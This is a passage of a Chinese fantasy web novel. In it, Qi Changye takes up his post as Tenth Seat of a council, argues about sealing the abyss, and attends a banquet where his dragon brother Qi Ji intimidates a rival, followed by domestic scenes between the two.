话音落下，第一席不再开口。短暂的沉寂之后，议事厅开始了争论。 “目前并没有证据能够证明，深渊真的会失控，出事的也只是芙洛城而已。” “说起来，芙洛城之所以会出事，和某条‘真龙’还有不小的关联，毕竟‘真龙’出现后，一切才开始变糟……” “深渊最底层，有关于末日的启示。”祈长夜淡淡地说，“到过那里的人，都看到了相关画面。” “而且，地下的深渊是相互连通的。” “什么？深渊相互连通？我们怎么不知道！” “显而易见，你们没去过深渊。” “进化者本来就不能在深渊停留太久，更别提穿行深渊！你如何能够证明你说的是真的？” “很简单，请这位坐席下次和我去一趟深渊。” “……” 有几个坐席的目光不约而同地往一个地方看过去。 无他，这种用平淡的语气说出嘲讽话语的样子实在是太熟悉了……简直和第三席一模一样！ 第七席阴恻恻地开口：“所以，第十席的意思是？” “从今天开始，监控所有深渊，如果再有失控，考虑封印深渊。” “……封印深渊，第十席怕不是在说笑吧？” “我可以做到，芙洛城就是证明。” “这怎么行！” 第七席拍桌而起。 “因为一点无关紧要的风浪，就要舍弃深渊？你知道深渊有多重要吗？里面的晶石对于人类的进化做出了贡献？你一无所知！” “深渊是神明的赐福！人类正是因为深渊才得以进化，才能拥有光明的未来！你们现在的所作所为，就是在亵渎深渊！” “深渊的起源，人类至今没有弄清，就像我们还不清楚，旧地球时代为何覆灭。”黄金长桌靠上方的位置，明蓝平静地开口，“未来是光明还是黑暗，尚不好说。” “笑话，这百年来，深渊一直风平浪静，从未伤害过人类！” “最近十年，已有上万个进化者死于深渊。”祈长夜说，“乌城离深渊太远，可能坐席看不见。” 其他坐席：“……” 怎么好像有两个第三席在骂他们。 之后，又是一番谁也无法说服谁的争论。 【哥哥，他们好吵】 懒洋洋的少年声音，只有祈长夜能听到。 他摸摸小龙，对于这番争吵，并不意外。 深渊，虽然有危险的怪物，却也产出无数价值高昂的晶石，无论是作为首饰珠宝，还是供给进化者的道具，都带来了数不清的利益，这条庞大的利益链始终牢牢地为乌城所控，堆起高居云端的乌拉诺斯城。 然而，这百年间，人类从未真正了解过深渊，乌城对于深渊的目光，永远都落在晶石之上，而忽略了那些藏在黑暗里的怪物，以及深渊的本体。 甚至于，关于深渊的起源，都被刻意抹去了。 祈长夜最后开口：“如果有一天，整个深渊皆出现在大地之上，诸位，能自保吗？” “……” 第一场会议，直到散场，都没有讨论出什么结果。 议事厅殿堂的长阶前，披着白袍的明蓝走到祈长夜身边：“习惯就好。” “现在，你可以去你的办公府邸了。” 祈长夜摘下面具，银白的面具被微风轻轻卷起，小祈霁从他的衣袍间钻出，抓住那张面具，在爪子里把玩。 “芙洛城的雅歌城主，和你很熟悉？” 一道女声响起，祈长夜回头，是第十一席。 祈长夜：“她是我很尊敬的人。” 第十一席轻笑一声，摘下面具，露出一双浅紫色的眼眸。 “在真正的末日到来之前，没人会相信倒计时的。” 留下这句话，她离开了。 【哥哥】 小祈霁飘到祈长夜肩头。 【早知道他们这么不聪明，我们应该把深渊录下来】 祈长夜：“说得对，下次你偷偷带个录像机。” “嗷呜。” 每一位议事厅坐席，都有专属于自己的工作府邸。第十席的府邸，继承了前两代的特点，充满穷奢极欲的奢靡，不像工作场所，更像豪华度假宫殿。 祈长夜停在门口。 不等他开口，克里斯就说：“还有一处备用的办公间。” 祈长夜：“走吧。” 备用的办公场所，是一间清净的屋子。 “祈队，这是第十席所要负责的各项事务，我已经整理出来，请您过目。” 克里斯搬来一堆小山高的文件，垒到办公桌上。 小祈霁飞到最上面的文件，坐下，发现自己比哥哥还高了。 祈长夜：“还好。” 克里斯：“这是目录。” 祈长夜眉头微挑。 克里斯逐渐小声：“之前的第十席，沉溺声色，疏于工作，已经堆积了快两年的公务，所以……” 祈长夜说：“挑最紧急，先给我看。” 他停顿了一下，又说：“我没有经验，很多事情，还需要请教你和明先生。” 克里斯立刻挺直腰背：“不敢当，我一定尽我所能，知无不答！” 然后把上面那一半文件，连同一只坐着的小龙一起搬了下来：“这些就是近来较为紧急的事务了。” “祈队，您的身份已经接入议事厅，您可以登录密网，在那里处理一些需要坐席身份审核的事务。” 祈长夜捕捉到了关键词：“密网里也有堆积的事务？” “啊，是的。”克里斯诚实地回答，“您知道的，前两任第十席都不怎么干活，所以，除了纸质事务，还有大概同等数量的电子事务需要您来处理。” 祈长夜的目光扫过那堆仅仅是目录的小山，面不改色：“我知道了。” 克里斯又为祈长夜解释了一堆东西，最后说道：“今晚有一个宴会，是您以第十席的身份，在乌城的第一次亮相。” 祈长夜：“好。” 小祈霁落在他的手边，看看那堆文件，再看看哥哥。 露出了很同情的眼神。 祈长夜淡定地翻开第一页文件，对小龙伸手。 小祈霁飘飘悠悠地落到哥哥掌心里，张开小爪爪。 “嗷呜。” 【哥哥，想吃糖】 少年的声音甜甜的。 祈长夜：“好。” 然后往小龙的小爪爪里塞了一支笔。 小祈霁：“？” 银白小龙盯着那支笔看了两秒，悄咪咪地往旁边爬爬。 被祈长夜捏住尾巴，提溜回来。 让小龙坐在自己手边，在它面前摊开几份文件。 “一起看吧。” 小祈霁：“……” 是不是哪里不太对。 它低头看看自己。 明明还很小。 “没有不对。”祈长夜点点小祈霁脑袋，对这只抱着笔的小龙露出了同情的眼神，“快乐的少年期结束了，你要和我一起加班了。” 小祈霁：“……” 小龙歪了下脑袋。 【那，哥哥会给我发薪水吗？】 “有的。”祈长夜掏出一袋糖。 小祈霁的眼睛亮了一下。 祈长夜从那一大袋糖里，掏出小小一颗，放到微微睁大龙瞳的小龙面前。 “一天一颗，高薪工作。” “早七晚十二，周末无休。” “喜欢吗？” 小祈霁：“……” 啪叽。 银白小龙瘫在办公桌上。 开始滚来滚去。 祈长夜看了两秒。 “擀面条。” 小祈霁：“？” “？？？” 第四十三章 哥哥，联姻？ 哗啦—— 微风卷起无数文件, 一一掠过办公桌前，又按顺序分好类别，漂浮在半空中。 祈长夜每次抬手, 都有一份文件精准地送到他的手边, 或是沿着办公室门缝送出去。 小祈霁坐在办公桌上, 抱着哥哥给的一颗糖, 非常认真地给哥哥干了一天的活。 明净的窗畔映出赤金晚霞, 黄昏余晖铺满房间。 祈长夜放下笔，揉揉脖子，捧起身边的小龙：“可以休息了。” 小祈霁啪叽一下瘫在他的掌心里, 露出软软的小肚子, 又啪叽一下, 翻了个面。 【哥哥！我要补偿！】 小龙摇着尾巴, 圆溜溜的龙瞳亮亮地看着祈长夜。 祈长夜捏捏它的小爪子：“没有。” 小祈霁：“……” 银白小龙揭竿而起，嗷呜一声，糊了哥哥一脸。 祈长夜：“。” 小八爪鱼。 他默默地把脸上这只小八爪鱼龙提溜下来，又给它塞了一颗糖。 小祈霁摊开两只小爪子：“叭。” 【只有这个吗？】 【没有哥哥的亲亲嘛？】 祈长夜淡定地说：“没有。” 再往小龙头顶上放了一颗糖。 顶着一颗糖的银白小龙晃晃悠悠地飘起来，贴到哥哥脸侧。 偷亲一口。 嗖一下蹿远了。 祈长夜：“……” 办公室门扉打开, 祈长夜淡定地走出，将掌心里嗷呜嗷呜的小龙揉搓成小团子。 “祈队。”克里斯起身，迎了上来, “宴会要开始了。” “走吧。” 盛大的宴会, 点燃了乌城的夜晚。 高耸大气的穹顶之下, 广阔的大厅几乎聚集了乌城所有名流，今夜, 他们只为一人而来—— 议事厅新上任的，乌城史上最年轻的第十席。 璀璨灯光照耀金色门扉, 露出星月灿烂的深蓝夜空，一道身影披沐星光，踏入大厅。 一袭黑衣，眼眸凛冽，气势犹如千锤百炼的利剑。 没有任何珠宝堆砌，他本身就是耀眼的利刃，覆没荒原的冷峭寒霜。 第十席乌黑的发边，还有一抹银白——那只细长而美丽的银白生物静静地趴在他的肩上，金色的眼瞳像隔着冰层，透不进一丝情绪。 【哥哥，好多人在看你】 祈霁低沉的声音响起，淡漠地扫过一双双眼睛。 祈长夜垂眼，修长手指轻轻托住小祈霁的脊背，把他的小龙往前推了推：“他们都看见，你在我身边。” 金色的龙瞳转向了他，静静地凝视片刻。小祈霁揣着小爪爪，昂起脑袋。 【只有我能站在哥哥身边】 祈长夜刚刚走进大厅，一群人就拥簇了上来，一个个面带灿烂的笑容，各种溢美之词不吝啬地堆砌而上。 就仿佛，他们从不曾对火种小队的队长避之不及。 小祈霁：“……” 银白小龙绕着哥哥肩膀溜达了起来。 一些原本想伸向祈长夜、触碰到他的手，在那双金色龙瞳的凝视下，又收了回去。 过了一会，祈长夜拒绝众人邀约，独自穿过人群，来到了食物区，投喂他的小龙。 克里斯不知何时站在他身边，对他悄声介绍了起来。 “您看，那边那位是洛丽丝，负责乌城的交通运输，一位性格强势而正直的女性。” “那边是……” 对于宴会上每个人的身份，从大到小，克里斯都顺畅如流地报了出来。 祈长夜安静地倾听，一一记下。 交谈间，一位衣着华丽的中年男人向他们走来。 克里斯：“是凯撒家族的家主，之前也追随第十席，他的两个小儿子，曾经冒犯过您。” “第十席阁下，您让今夜的星空都黯然失色。” 那位家主堆着满脸笑容，压下腰背，放低了姿态。 寒暄了几句之后，他忽然开口：“不知阁下明后几日是否愿意赏脸，到我府邸上小聚一下？” “我最小的儿子和您同岁，一直十分仰慕您……” 小祈霁：“？” 祈长夜：“不必了。” 凯撒家族的家主明显还想说什么，脊背忽然一僵。 他感觉到了某种危险的凝视，来自……那只深渊的怪物。 来自那双森寒的金色竖瞳。 凯撒家主挤出笑容，匆匆离去，祈长夜侧首，喂了小祈霁一口冰淇淋。 小祈霁扭转目光，乖乖地低头，咬住勺子。 “他应该是想和您联姻，”克里斯说，“这是他们惯用的方法，牺牲家族成员，绑定婚姻，换取利益。” 他停顿一下，再次开口：“对于一些想要得到贵族助力的人来说，联姻也是不错的选择。” 小祈霁：“？？？” 咔嚓。 冰淇淋勺子碎了。 祈长夜无言地看着剩下半个勺子，换了一个新的，平静地说：“没有兴趣。” 宴会大厅的入口，忽然有嘈杂的人声响起。 祈长夜还在喂他的小龙，并没有在意，旁边的克里斯却露出了难言的表情：“是谢少爷。” ——一身奢华礼服的谢荇，在数人的拥簇下踏入大厅，神色张扬，高调而倨傲。 数日不见，他似乎一扫之前的萎靡，又变回了高高在上的谢家少主，甚至傲慢更盛。 “忘记和您说了。”克里斯压低声音，“就在几天前，谢小少爷被第一席大人提拔为了自己的副官助理，他以副官助理的身份来到这里，几乎等于第一席亲至。” 祈长夜面色不变：“第一席？” “是的，第三席大人也不知道，为什么第一席大人会忽然选他。” “那之后，第三席大人和谢小少爷再也没有见过。” 隔着人群，众星捧月的谢荇转头，目光精准无误地锁在祈长夜身上。 他的嘴角勾起，径直走了过来。 “哥，恭喜。” 还有数米的距离，谢荇的声音已经悠悠飘了过来。 “你当上了第十席，我也是第一席大人的副官助理，说不定很快，我还能坐上副官的位置。” 祈长夜直视他的眼睛，眸底波澜不起：“我应该告诉过你，别再出现在我面前。” 谢荇的目光带上几分挑衅。 是啊，我记得，可那又如何？ 难道你敢在这里，敢当着所有人的面，对我出手？ “现在的我，已经不是昨天的我了。哥，你真该看看，被你丢下的人，也能靠着自己，走到和你齐平的位置。” “现在，你后悔吗？” 谢荇的脚步最终停在祈长夜面前，抬手，掌心落向祈长夜脸侧—— 凛冽的风，骤然卷起。 华丽的水晶吊顶破碎，溅落一地璀璨的晶石碎片，在那落下的透明星雨之中，银白巨龙拔地而起。 它如此庞大，几乎顶破高耸的穹顶，占满宽广的大厅，一双金色的竖瞳，冰冷灿烈，如高悬的太阳。 众人的惊呼声中，银白帝龙悍然按下龙爪，锋利的龙爪直接刺穿坚硬的地砖，傲然而居高临下地踩住谢荇，如同踩住一只蝼蚁。 “你也配碰他？” 低沉的成年男声，每个字音都渗透着冰棱般的寒意，像是海面之下即将掀起的风暴，危险的杀意直抵面门。 银白的龙尾扫断石柱，将祈长夜圈在其中。任何人对上那双灿金龙瞳，都会惊惧不已——那绝不属于弱小的怪物，而是占据着自己的领地、向众生示威的暴君。 龙威之下，谢荇脸上的得意与挑衅被全部抹去，只留下毫无血色的死白。那锋利得如同断头铡般的龙爪就在他的脖颈一寸之外，连坚硬的地砖都能轻易刺穿，只要稍一用力—— 这一刻，他甚至不敢吐出半个字。 他知道，无论如何，祈长夜都不会杀他。 但……这个怪物不同。 那双融入了冰川无尽森寒的龙瞳里，他的倒影如此渺小，就像一粒微不足道的尘埃。 他被深渊凝视了。 “诸位，认识一下。” 清悦的声音响起，祈长夜上前一步，掌心轻轻落在银龙的鳞片之间。 “这是我弟弟，祈霁。” “也是当今世间，唯一一条真龙。” …… 无论这一夜在乌城掀起多少波澜，月光依然拂落清净的小楼。 刚回到家里，祈长夜就感觉身侧刮起微风，他的周围骤变，脊背抵上了客厅最深处的墙面。 ——祈霁再次化为银龙，占满了客厅，尾巴都挤到了厨房里。 祈长夜被这只大龙堵到墙角，对上那双灿亮的金色龙瞳。 【哥哥】 不再是少年的声音，成年的男声贴着祈长夜耳畔响起，磁性而悦耳，充满低缓的眷恋。 祈长夜神色不变，掌心轻轻抚上银龙低垂的头颅：“不撒娇了？” 他知道，他的小龙至今依然用少年的声线，而不是成年的本音——只是觉得他可能会更喜欢这样的祈霁。 祈霁安静片刻，轻蹭祈长夜脸庞，再次低低地喊了他一声： 【哥哥】 “嗯？” 【如果哥哥真的要联姻，那，也只能考虑我】 银龙贴着他低喃，那双金色的龙瞳紧紧锁住它的人类的身影，像是绷紧的湖面，等待一丝风落定，掀起不可计数的涟漪。 祈长夜想也不想地说：“你和我算什么联姻。” 祈霁：“……” 好像也是。 祈长夜伸手。 祈霁和他对视，过了两秒，慢吞吞变回银白小龙，落回哥哥掌心里。 祈长夜知道他的小龙在担心什么，抬手，任由小龙黏糊糊地缠上自己指间，变成一条小麻花龙。 “别担心，”他说，“我不会答应他们。” 小祈霁看着他，眼睛亮了亮，飞快点了下脑袋。 祈长夜指腹蹭蹭小龙软乎乎的脑袋，继续说：“本来，我也不打算结婚，更没有喜欢的人。” 所以，不用担心他有了别人以后，就不要他的小龙了。 祈霁：“……” 祈长夜发现，听到他刚才那句话后，他的小龙好像并不怎么开心的样子。 一声不吭地看着他。 过了两秒，又变回一只大龙。 闷不吭声地挤他。 祈长夜：“？” 祈长夜：“太大了，变回去。” 都要塞不下了。 祈霁还是不吭声。 龙尾一圈，气呼呼地把他给缠住了。 继续挤挤。 光明正大地挤。 祈长夜：“……” 第四十四章 变成人后 祈长夜总感觉, 从深渊出来后，他的小龙好像和以前不太一样了。 对别人更凶了一点，对他……也有了一些说不上来的变化。 从一只小龙真正跨过成年的界限, 蜕变为大龙, 祈霁并没有因此和他疏远, 反而比之前更加黏着他。 就像现在, 银龙一声不吭地趴在他身边, 时不时就会垂下头颅，蹭蹭他的脸庞。 但，那双金色的龙瞳静静地注视他时, 里面装满他也无法看懂的情绪。 祈长夜安静地与祈霁对视片刻, 摊开掌心。 银龙飞快将脑袋搁在他的掌心, 一眨不眨地看着他。 祈长夜：“走吧, 休息了。” 银龙慢吞吞蹭蹭他的手掌，尾巴一扭。 变成了一条长约两米的大龙。 啪嗒啪嗒，围着祈长夜走来走去。 祈长夜：“？” 他说：“还能这样？” 那之前为什么挤他？ 祈霁下颌微昂，得意地哼哼。 【因为我是哥哥最厉害的小龙】 银龙开始围着祈长夜小跑溜达，仗着自己体型长, 将哥哥水泄不通地圈了起来。 得意洋洋地摆摆尾巴。 哥哥被它包围了！ 祈长夜长腿一跨，跨出小龙的包围圈，向前走了。 祈霁：“？” 银龙飞快跟上去, 一口咬住祈长夜衣角。 祈长夜回身, 摸摸那只在他身上拱来拱去的脑袋, 俯身，试图将他的小龙抱起来。 ……太大了, 抱不起来。 两米多长的银龙，弯弯的尾巴缠住他的腰, 埋头在他胸口蹭来蹭去，拱拱这里拱拱那里，非常不安分，祈长夜都抱不住。 一不留神，他就被银龙压在了身下，脊背抵上柔软的地毯。 祈霁似乎没想到自己能轻易压倒哥哥，怔了一下，动作微顿。 那双金色龙瞳映照的画面，是乌黑发丝散落在地毯间，衬得肌肤薄白如雪，漂亮的墨色眼眸，像夜晚高悬的孤月，为它落入湖畔。 刹那间，银龙的龙瞳微微竖立，陡然幽邃晦暗。锋利的龙爪收敛寒光，轻柔地落在年轻男子胸膛，却透出强烈的占有意味。 祈长夜：“……” 那种不对劲的感觉再次浮上心头，他与祈霁对视，清晰地意识到，他的小龙的确和之前不同了。 以前，祈霁也喜欢黏着他——同样的动作，现在的大龙做出来，却是完全不一样的感觉。 有那么几个瞬间，他能感觉，自己被祈霁“压制”了。 ——或者说，在那几个瞬间里，祈霁流露出了和以前完全不一样的气势。 那是属于古老时期的帝龙生来即自带的威压，从骨子里透出的强势与霸道。就像平静的地表之下深埋的滚烫岩浆，暗流汹涌。 灯光微晃，祈长夜神色如常，平静地开口：“我们要在这里睡吗？” “！” 金色龙瞳微微一震，银龙似乎被吓了一跳，飞快收回爪子。 跑了。 祈长夜：“？” 发生了什么？ ……他只是想说，地毯躺着太凉，该回房间了。 祈长夜坐起，一只银龙从沙发后面探出脑袋，偷偷瞄他。 完全没有了刚才的气势。 祈长夜无言地伸手，银龙又慢吞吞地溜达回他身边。 那双幽邃的金色龙瞳，暗色褪去，再复明亮。 祈霁垂首，埋在哥哥怀里，软乎乎地蹭蹭，摆摆尾巴。 【压疼哥哥了嘛？】 这只大龙眨巴眨巴龙瞳，依然是一副乖乖巧巧，可可爱爱的样子。 好像刚才什么也没有发生。 祈长夜沉默片刻，摇摇头：“没有。” 他迈前一步。 银龙紧紧贴着他的衣角，跟了上去。祈长夜走到哪里，这只大龙就黏到哪里，像条黏糊糊的大尾巴。 浴室水雾朦胧，热水浸满浴缸。 浴缸旁边，祈霁看着灯光下的祈长夜。 氤氲的雾气里，他的发丝微湿，墨色沉淀的眼眸，像是雨雾中融化了山水诗卷。 不知为什么，祈霁一声不吭地往后退了退。 祈长夜一回头，某条银龙正悄咪咪往外爬。 “？” 他抓住那条细长的尾巴，直接把他的小龙给拉住了。 “回来洗澡。” 银龙扭头，抬了下爪子。 【哥哥，我塞不下】 祈长夜奇怪地看了它一眼，心想怎么不太聪明的样子。 “变小点。” “……” 啪。 最后，一只银白小龙落到祈长夜掌心里，圆溜溜的龙瞳，默默往旁边瞄。 瞄来瞄去，就是不瞄到他身上。 祈长夜并没有在意，将小龙放进浴缸里，给它丢了个小小的游泳圈。 没过一会，银白小龙就趴在游泳圈上，尾巴拨啊拨，随着水流漂来漂去。 见哥哥回头看它，飞快蹬蹬小爪子，哗啦啦游向浴缸角落，留下一个背影。 祈长夜：“。” 奇怪小龙。 明明以前也一起泡过澡，只有今天反应最奇怪。 他解开外衣，沉入浴缸里，看着原本就在浴缸边缘划水的银白小龙瞬间贴上浴缸，似乎在假装自己是个壁画。 所以，长大以后的幼崽，都会变得和以前不一样吗？ 祈长夜撑着下颌，安静地注视小祈霁片刻。 直接把这只小龙拎到了掌心里，湿漉漉的手指揉啊揉。 小祈霁：“……” 软乎乎的小龙被揉来揉去，又不敢做什么，只能在哥哥指间发出嗷呜嗷呜的声音，有点委屈巴巴的。 祈长夜揉了一通，心情舒展了几分，沉在浴缸里，温热的水流，洗去了一天的疲惫。 小祈霁又悄咪咪地游到浴缸边缘，贴住，一点也不看着哥哥。 祈长夜轻点小龙脑袋，小龙就咕噜噜吐出一串泡泡，沉了下去。 夜色笼上窗畔，暖色的灯光洒落床褥。 祈长夜披上浴衣，抱着一条小龙回到床边。 从浴室里出来，小祈霁好像就精神了起来，开始非常有活力地沿着哥哥手臂爬来爬去。 和刚刚根本不敢看哥哥一眼的小龙判若两只。 沐浴后的薄白肌肤带着淡淡热意，还有清淡的香味，祈霁显然很喜欢，黏着哥哥轻蹭，似乎要把刚刚不敢看哥哥的时间都给补回来。 祈长夜将这只小龙放到床上，小龙还伸出小爪子，黏糊糊地抱住他的手指，不愿意撒开。 啪，变成两米多长的银白大龙，缠住祈长夜。 过了两秒，翻了个身，变成小龙，悄悄钻进祈长夜袖子里。 过了一会，又钻出来，变成大龙，继续缠住他。 喜欢。 祈长夜：“……” 他按住银龙的脑袋。 “不准随地大小变。” 祈霁眨巴眨巴龙瞳。 最后，还是变成一条可可爱爱的银白小龙，揣着小爪子，趴在祈长夜枕边。 乖乖的。 “睡吧。” “嗷呜！” 【哥哥晚安！】 少年的声音像含了糖，甜甜的。 祈长夜揉揉小龙：“明天还要早起工作。” 小祈霁：“……” 【哥哥，晚安】 少年的声音蔫了。 祈长夜眼底有光影荡漾，摸摸小龙，拉上被子，轻轻盖住它。 安宁的夜色笼罩房间，过了一会，乌黑眼眸平静睁开。 祈长夜垂下眼睫，被子里，银白小龙抱着自己的尾巴，蜷缩在他胸口，静静地躺着。 他无声抬起手臂，动作很轻，拿起了床头的通讯器，开始搜索一些东西。 “弟弟长大以后有点奇怪了怎么办” 搜出了一堆奇怪的东西。 祈长夜：“……” 他删掉，重新搜索。 “少年青春期普遍存在的问题” “青少年情绪发展特点” “龙的食谱里是否有人类” …… 搜索了一堆，也没能得出想要的答案。 祈长夜：算了。 反正，不管怎么变化，他的小龙依然是他的小龙。 他放下通讯器。 对上一双黑夜里亮晶晶的龙瞳。 祈长夜：“。” 他的神色没有一点变化，好像刚才什么事情都没做的样子，淡定地捏捏小祈霁爪子：“吵醒你了？” “嗷呜。” 【没有】 银白小龙爬了出来，在枕边溜溜达达，好像很不经意地往通讯器那边一瞄。 祈长夜捂住小祈霁的眼睛。 “……” 小祈霁低头，蹭蹭哥哥掌心。 【哥哥】 【我有话想和你说】 祈长夜：“嗯，说吧。” 祈霁安静几秒。 【等我变成人之后，哥哥就能听到了】 祈长夜翻身坐起，抱起这只小龙。 “那，要等到什么时候？” 【也许快了】 少年的声音含着笑意，掌心里的小龙对他摇摇尾巴。 祈长夜想了想：“那可以收拾一下新房间了。” “你想住哪间，左边还是右边？” 小祈霁：“？” 小祈霁：“？？？” 小龙嗷一下就跳起来了。 【为什么要收拾房间，哥哥不要我了吗！】 银白小龙顿时很着急的样子，围着哥哥跳来跳去。 【我要和哥哥一起睡！】 祈长夜：“两个人怎么一起睡，而且，那时候你应该都是大人了。” 他的语气淡然，好像这是什么很理所当然的事情。 “……” 小祈霁看着他，灿金的龙瞳怔怔地睁大，如遭雷劈。 啪叽一下，银白小龙直接瘫在了床上。 少年低落的声音，在祈长夜耳边响起。 【哥哥不要我了】 【哥哥说过不会不喜欢我的，哥哥说话不算话……】 这只银白小龙趴在祈长夜手背上，耷拉下来的龙瞳，写满伤心和委屈。 蔫蔫的小龙，仿佛头顶飘来了一朵小乌云，是条淋着小雨的可怜小龙。 “……” 祈长夜看着他的小龙，沉默片刻，开口：“好吧，以后再说。” 小龙好像没听见，啪叽一下，翻了个身，蜷缩成一小团。 少年充满委屈的声音再次响起。 【哥哥不用管我，要是哥哥不喜欢我的话，那，那我自己睡也可以的】 【反正，我长得也不好看，变成人形以后更不好看了，所以哥哥才不喜欢我】 【哥哥，对不起，都是我不好】 然后，这只伤心小龙就抱住自己的小尾巴，挪蹭挪蹭，挪到枕头角落，背对祈长夜，自己伤心去了。 祈长夜：“……” 第四十五章 不对劲 祈长夜落下手指, 捧起一只难过兮兮的小龙。 银白小龙趴成软绵绵的一小坨，仰着小脑袋，耷拉下来的龙瞳一眨不眨地望着他。 那条细长的尾巴, 也有气无力地垂着, 尾巴尖尖微微蜷缩。 可怜巴巴的。 祈长夜：“好吧, 不收拾房间了。” 小祈霁龙瞳一亮, 一扫刚才的阴霾, 飞到哥哥头顶，轻快地蹦蹦跶跶。 祈长夜：“……” 刚刚不是还伤心吗。 他微微抬起眼帘，小祈霁从他的头顶探下小脑袋, 睁着圆溜溜的龙瞳, 软乎乎地蹭蹭他的脸。 【喜欢哥哥！】 可爱小龙, 一看就没什么坏心眼。 祈长夜无言把小祈霁提溜下来, 放到被子里。 “睡觉。” “嗷呜！” —— 冰凉的地砖，倒映出一张发白的脸庞。 谢荇跪在地上，双膝刺痛，却根本不敢站起，更不敢抬起一点头颅。 “说吧。” 声音从缥缈的高处落下, 昏沉的黑暗里，隐约透出一道高高在上的身影。 谢荇的手指刺入掌心，艰难地开口：“那个孤儿院的事情……我真的记不太清了。” “那场实验, 最后的人选并不是我, 而是, 而是……” “怎么，你是想说, 他们好心地放过了你？” 毫无情绪的声音再度响起，谢荇身体一抖, 立刻吐出了后半句话：“是祈长夜！” “是他……代替了我，被他们带去了那场实验。” 每一个字句，都说得无比艰难。他好像被深水淹没，被拽入了一段他早已刻意遗忘的过去。 空气里又泛起了熟悉的气味，发霉的墙壁，一道道长长的鬼影堵在狭窄的房间里，其中一只死白的手，直直地指着他的头颅。 幼年的他恐惧地退缩，跌倒在地，惊慌地向四面转头求救，却没能得到任何回应。 直到，有人走了出来，将他挡在身后。 “我和你们走。” 那个和他年龄相仿的身影背对着他，面朝那些高长的影子，单薄的身躯，并没有比他高多少。 长长的鬼影晃动，老旧的木门被推开，发出“吱呀”的腐朽声音。而他只是死死地埋下脑袋，盯着地上游动的影子……直到，那些混乱的影子，一起消失在了门外。 他再抬起头时，空气里依然充满发霉的味道，那道挡在他面前的身影，已经不见了。 后来，一直过了很久，他才等到那个人回来。 他迎了上去，和往常一样喊他“哥哥”，讨好地递上半杯水，没有多问一个字，就像刚才什么都没发生。 那个人果然和他预想的一样，什么都没说，只是安静地摸摸他的头，坐在地上，拿起墙角剩下的半个硬面包，一小口一小口啃了起来。 有什么东西坠地，砸在面前，轻微的声音，却猛然将谢荇从那段晦暗发霉的记忆里拽回。 他的瞳孔微微一缩，看见一个东西，被丢到了他的膝前。 “这是你想要的东西。” 黑暗里，睁开一双居高临下的眼睛。 “现在，选择权在你手上了。” “……” 朦胧的晨光透过窗帘，房间里飘荡着诡异的歌声。 祈长夜睁开眼睛，一大早就听见了他的小龙在唱歌。 【哥哥，早！】 祈长夜偏过脸，对上那双金色龙瞳，修长手指微伸，任由小龙在自己指间缠了一圈又一圈。 “我好像梦到了一些过去的事情。” 小祈霁歪了下脑袋。 【哥哥，听听】 祈长夜摸摸小龙，摇摇头：“没什么，只是一些琐碎的小事。” 小祈霁揪揪他的衣袖，嗷呜嗷呜。 想听！ “好吧，”祈长夜说，“就是梦到以前，在院子里偷偷养了一朵小花，没有养活。” 孤儿院的院落，高墙围堵天空，从这头走到那头只要几步，狭窄得如同监牢。 有天，他发现了一朵刚刚破土的小白花，怕被那些人随便一脚踩死，偷偷移植到了别人看不见的墙角。 这件事情，他只告诉过一个人。 当天下午，那朵小花就被拦腰折断了。 小祈霁眨巴眨巴龙瞳，像是从哥哥的眼睛里，读出了他没有说完的话。 下一秒，两米多长的银龙出现在床边，垂下头颅，蜿蜒的龙躯，轻轻缠住它的人类。 【没关系，现在哥哥养我了】 【我很凶，遇到坏人会咬回去！】 祈长夜抱住这只大龙脑袋，揉一揉：“嗯，说得对。” 银龙微微眯起龙瞳，脑袋搁在他的肩上，蹭蹭。 片刻后，忽然凑近亲了他的脸一口。 “？” 祈长夜还没说什么，啪叽一声—— 一只银白小龙落在他腿上，摇摇尾巴，无辜兮兮地看着他。 【哥哥，饿啦，我去给哥哥做早饭叭】 “……” 最后，祈长夜还是当做什么都没发生，提溜着小龙去洗漱了。 “祈队。” 一大早，克里斯就敲响了办公室的门。 “有人要见您，是进化者服务中心的洛兰。” 这段时间，有不少人要求见第十席。他一直遵循祈长夜的吩咐，除非是相熟的旧人，绝不放进来。 祈长夜接住风送来的文件，说：“直接进来吧。” 办公室门扉打开，一个青年站在门口，抱着一本厚重的书，迎着晨光，露出轻浅的笑容：“第十席大人。” 祈长夜起身，带着肩上的银白小龙走了过去：“你还是和以前一样叫我就行。” 洛兰微微点了下头：“副队长。” 他似乎想说什么，却没有开口。 祈长夜的声音清淡：“我说过，需要帮忙，可以直接告诉我。” 洛兰犹豫了一下：“那……我可以留在你这里吗？” 小祈霁在祈长夜肩上溜达，听见哥哥开口：“可以。” 他微微侧首，克里斯立刻会意地说：“我会为洛兰先生安排好。” 银白小龙一声不吭，金色的龙瞳再转过，洛兰将怀中的书递给祈长夜：“送给你。” 祈长夜目光微顿，修长的手指拂过保存完好的书皮。 “这是队长以前的书。” 听到这句话，洛兰微微笑了笑：“是啊，他送我的。” 祈长夜轻轻翻开书页，刚好翻到一枚泛黄的干花书签。 他的手指轻柔地触碰书签，目光像是沉在了过往的岁月。 “他很喜欢做这些小东西。” 洛兰看着那双映着微光的乌黑眼眸，声音很轻：“是啊。” 小祈霁一声不吭地跳到书上，尾巴一甩。 微风吹拂书页，卷起浓郁的花香。 无数花瓣从窗外纷扬飘进，围在祈长夜身边飘旋飞舞，流淌成盛大的花海。 【送给哥哥】 少年的声音轻灵，含着笑意。 祈长夜低头，他的小龙用爪子捧起一朵小花递给他，尾巴毫不经意地一甩，翻过一页书，盖住了那枚干花书签。 他接过小花，轻轻放到小祈霁头顶。 “很好看。” 小祈霁得意洋洋地摆摆尾巴。 花雨飘散，被风整整齐齐地卷到一起，没有造成一点打扫卫生的困扰。 克里斯啧啧称奇，说：“对了，今天中午和晚上，都有人邀请您……” “我要离开乌城几天，”祈长夜平静地打断，“维络城的深渊数据不太正常，我去看看。” 他刚刚收到了一份深渊报告，一座B级城市的深渊出现了异常。 克里斯：“十二座席不能轻易离开乌城，如果您要走的话，需要提前告知议事厅。” “我知道。”祈长夜抬手，指间的银白小龙缠绕而上，“我现在就去见他们。” 洛兰：“我和你一起去吧？” 祈长夜：“不用，你留在这里，克里斯会安排好你的工作。” 他转身，洛兰留在原地，目送那道身影……带着他的小怪物离去了。 “这件事情，你可以交给下面的人，让他们派遣进化者小队去调查。” 第三席的办公室内，明蓝十指交扣，看着对面的人。 祈长夜：“相信他们派出的人，不如我自己去。” “况且，如果深渊和上次一样——他们也未必能处理。” 明蓝安静地听完，微微点头：“去吧，议事厅那边，我会处理。” 从第三席的办公府邸出来，祈长夜偏过脸，摸摸他的小龙：“走吧，这次还要靠你带我过去。” 